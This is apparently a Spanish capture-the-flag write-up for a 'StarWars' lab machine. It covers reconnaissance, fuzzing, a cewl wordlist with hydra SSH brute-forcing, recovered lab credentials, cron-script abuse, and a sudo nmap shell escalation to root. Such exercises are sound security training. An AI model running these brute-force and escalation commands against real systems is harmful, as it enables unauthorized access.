**Hacking**

**ético**

# CTF StarWars

[**CTF StarWars**](#_ncqwc238sads) **1**

[**Reconocimiento**](#_mkarezk9heqw) **2**

[**Explotación**](#_w9ryw4mllxtb) **2**

[Fuzzing](#_k2j0obbu6zot) 6

[han → babyYoda123](#_nfvl60so695x) 10

[Pista para usar cewl](#_s25x3w8mw82y) 10

[Darth secret](#_tb69os6ldfs6) 11

[Rutas](#_83ly4cy3g83u) 11

[Formulario de inicio](#_s0ghl6r5sfe2) 12

[**Credenciales**](#_doahiftivd3d) **15**

| Reconocimiento |
| --- |
|  |
| Explotación |
|  |
| Source code |
|  |
|  |
| aHR0cHM6Ly9zdHlsZXN1eHguZ2l0aHViLmlvL3N0ZWdhbm9ncmFwaHkvCg== |
| <https://stylesuxx.github.io/steganography/> |
|  |
| Tenemos una contraseña sin usuario |
| Fuzzing |
| 1. |
| robots.txt |
|  |
| http://10.0.2.237/r2d2 |
|  |
| \*\*cewl? |
| 2. |
|  |
| darth  vader  anakin  skywalker  han  chewbacca  leia |
|  |
| Intrusión |
| Probamos una conexión ssh a la máquina con los usuarios y obtenermos credenciales válidas. |
| [han → babyYoda123](#_doahiftivd3d) |
|  |
| Pista para usar cewl |
|  |
| **cewl -m 4 -w r2d2\_dict http://10.0.2.237/r2d2** |
| **hydra -L users -P r2d2\_dict 10.0.2.237 ssh -t 10** |
| Lo dejamos en pausa. Tarda demasiado. Una vez sepamos quien usará la cewl o reduzcamos las posibilidades volveremos. |
| Quedamos con tres usuarios, 2 posibles usuarios de la posible contraseña de cewl.  Skywalker y Darth |
|  |
| skywalker → tatooine |
| ¿Debería haber algo aquí? |
|  |
| Traigo los usuarios |
|  |
|  |
| /home/Darth/secrets/evil.py |
| Darth secret |
|  |
| Rutas |
|  |
| Formulario de inicio |
|  |
|  |

| Skywalker |
| --- |
| note.txt |
|  |
| **Hueco** |
| Volvemos al archivo **evil.py**  y nos fijamos que se encuentra en el grupo **anakin** |
|  |
|  |
| Al ejecutarse cada minuto con el usuario Darth tenemos acceso a ejecución de comandos |
|  |
|  |
|  |
| <https://gtfobins.github.io/gtfobins/nmap/> |
|  |
| Modulo para simular una shell |
|  |
| <https://gtfobins.github.io/gtfobins/nmap/> |
|  |
| Darth@starwars:~$ **TF=$(mktemp)**  TF=$(mktemp)  Darth@starwars:~$ **echo 'os.execute("/bin/sh")' > $TF**  echo 'os.execute("/bin/sh")' > $TF  Darth@starwars:~$ sudo nmap --script=$TF  **sudo nmap --script=$TF**  Starting Nmap 7.70 ( https://nmap.org ) at 2024-01-31 16:53 EST  NSE: Warning: Loading '/tmp/tmp.iWKZ3Q3Ql2' -- the recommended file extension is '.nse'.  **# whoami**  root |
|  |
| MySecret.pdf |
|  |

# Credenciales

| han | babyYoda123 |
| --- | --- |
| skywalker | tatooine |
| Darth |  |
| root |  |